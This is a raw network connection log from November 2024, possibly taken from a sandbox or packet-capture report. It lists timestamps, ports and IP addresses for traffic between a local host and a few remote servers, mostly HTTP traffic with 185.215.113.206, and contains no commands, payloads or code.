Nov 12, 2024 04:16:32.133101940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133101940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133109093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133116007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133127928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133156061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133327961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133338928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133349895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133359909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133368969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133384943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133392096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133394957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133403063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133407116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133419991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133429050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133430004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133445978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133454084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133462906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133474112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133485079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133495092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133497000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133506060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133516073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133517981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133533001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133539915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133543968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133555889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133565903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133575916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133577108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133586884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133589029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133601904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133614063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133622885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133622885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133635998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133645058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133646965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133658886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133666039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133668900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133676052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133681059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133694887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133704901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133707047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133717060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133728027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133738995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133739948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133750916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133763075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133766890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133774042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133786917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133795977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133797884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133814096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133816957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133827925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133837938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133840084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133852005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133862972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133871078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133873940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133879900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133888006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133893013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133927107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134188890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134202003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134212971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134224892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134229898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134238958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134248972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134258032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134269953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134279966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134280920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134290934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134301901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134303093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134311914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134315014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134332895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134344101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134346008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134355068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134366035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134368896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134377003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134387970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134388924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134401083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134407043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134417057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134419918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134419918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134423971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134434938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134445906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134448051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134455919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134478092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134489059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134490967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134500027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134504080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134510040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134526968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134526968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134538889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134548903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134558916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134561062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134561062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134568930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134579897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134589911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134593964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134602070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134613037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134614944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134618998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134629011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134633064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134641886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134650946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134654045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134666920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134670973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134677887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.134691000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134715080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.134999990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135059118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.135142088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135154009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135164022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135176897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135181904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.135188103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135200024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135209084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135214090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.135221004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135231018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135231018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.135242939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135253906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.135256052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.135270119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.135298967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.144157887 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.149610996 CET	49849	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:32.149620056 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.149960995 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.152932882 CET	49849	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:32.152996063 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.153445005 CET	49849	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:32.171845913 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.171866894 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.171905994 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.171928883 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.171957970 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.171977997 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.180907011 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.180929899 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.180974960 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.180984974 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.180994034 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.181001902 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.181013107 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.181024075 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.181027889 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.181040049 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.181066036 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.182602882 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.182616949 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.182647943 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.182671070 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.182677031 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.182693005 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.182710886 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.184428930 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.184448004 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.184479952 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.184503078 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.184508085 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.184533119 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.195334911 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.217674017 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.217691898 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.217763901 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.219347000 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.219357014 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.241959095 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.241997957 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.242392063 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.242589951 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.242604971 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.266984940 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.267939091 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.267983913 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.268460035 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.268466949 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.274348974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274360895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274370909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274427891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274461985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274473906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274485111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274513960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274522066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274524927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274537086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274552107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274576902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274585962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274597883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274606943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274627924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274636030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274640083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274653912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274665117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274672031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274682999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274684906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274710894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274722099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274733067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274743080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274753094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274766922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274785995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274828911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274840117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274849892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274903059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274907112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274919033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274929047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.274966955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.274976969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275012016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275032043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275043964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275055885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275073051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275078058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275084019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275100946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275146961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275155067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275166988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275176048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275194883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275197983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275207043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275217056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275219917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275242090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275269032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275324106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275336027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275346041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275357962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275387049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275412083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275579929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275590897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275603056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275624037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275651932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275687933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275700092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275710106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275727987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275732040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275741100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275760889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275775909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275780916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275794983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275804996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275804996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275820017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275830030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275846958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275847912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275871038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275880098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275882959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275892019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275903940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275913954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.275933981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275957108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.275968075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276005030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276009083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276016951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276056051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276083946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276096106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276104927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276146889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276277065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276288986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276300907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276330948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276346922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276356936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276359081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276366949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276372910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276379108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276477098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276540041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276551008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276561022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276571989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276582003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276582956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276588917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276596069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276607990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276618958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276624918 CET	49750	80	192.168.2.5	185.215.113.206
